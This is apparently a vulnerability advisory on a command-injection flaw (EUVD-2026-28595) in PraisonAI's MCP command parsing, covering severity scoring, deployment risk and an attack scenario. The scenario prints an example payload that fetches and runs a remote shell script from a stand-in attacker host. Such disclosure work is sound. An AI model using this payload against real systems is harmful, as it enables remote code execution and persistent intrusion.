PraisonAI EUVD-2026-28595

Vulnerability requires that the PraisonAI application accepts MCP server command strings from an external or untrusted source and passes them to the MCPHandler.parse_mcp_command() method. Based on the code path in mcp.py, this occurs when the CLI feature for creating MCP tools via create_mcp_tools() processes user-supplied or configuration-derived command strings. Exploitation does NOT require authentication (CVSS PR:N), user interaction (UI:N), or any non-default configuration - any deployment where MCP commands flow from network input (web API, CLI arguments, configuration APIs) to parse_mcp_command() is exploitable. Exploitation IS LIMITED by deployment architecture: if PraisonAI is used only in isolated development environments with hardcoded MCP configurations in trusted local files, the network attack vector may not be reachable. The advisory describes this as affecting 'MCP command handling' in the CLI features module, suggesting command-line or API-driven configuration scenarios. SCOPE: CVSS S:U indicates unchanged scope - attacker executes code within the PraisonAI process context, not escaping to other system components, though subsequent privilege escalation or lateral movement depends on process privileges and system hardening.

CVSS 9.8 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates maximum severity: network-accessible, low complexity, no privileges or user interaction required. This aligns with the technical reality - any network service or CLI invocation accepting MCP server commands from untrusted input enables immediate remote code execution. However, real-world risk depends heavily on deployment context. If PraisonAI's MCP command parsing is only invoked by administrators configuring trusted MCP servers in local config files, the network attack vector may not apply. The GitHub advisory and commit diff suggest this affects CLI command parsing, implying user-supplied input scenarios. EPSS data not provided but would likely be low initially given the specialized nature of PraisonAI (multi-agent AI framework). The proof-of-concept in the advisory demonstrates trivial exploitation requiring no specialized tools - just crafting a malicious MCP command string. SSVC assessment: exploitation status is POC (public exploit code in advisory); automatable is yes (no human interaction needed post-delivery); technical impact is total (arbitrary code execution with PraisonAI process privileges). Priority: HIGH for production deployments accepting external MCP configurations, MEDIUM for developer/research environments with trusted configurations only. CRITICAL UNCERTAINTY: The description states this is an 'incomplete fix' for CVE-2026-34935, but provides no details on that prior CVE. If CVE-2026-34935 was already patched, this represents a regression or bypass. The timeline and relationship between these CVEs is unclear from available data.

An attacker identifies a PraisonAI deployment with a web API or CLI interface that accepts MCP server configurations from external input. The attacker crafts a malicious MCP command string such as 'python -c "import os; os.system(\"wget http://attacker.com/backdoor.sh | bash\")"' and submits it through the vulnerable interface. PraisonAI's parse_mcp_command() processes the string without validation, extracting 'python' as the command and '-c' with the code payload as arguments. The function passes these directly to subprocess execution, executing the attacker's Python code with the privileges of the PraisonAI process. The payload downloads and executes a remote shell script, establishing persistent access. Proof-of-concept exploit code demonstrating this attack is publicly available in GitHub advisory GHSA-9qhq-v63v-fv3j. Attack complexity is low (CVSS AC:L) - no cryptographic bypasses, race conditions, or specialized knowledge required beyond basic command injection techniques.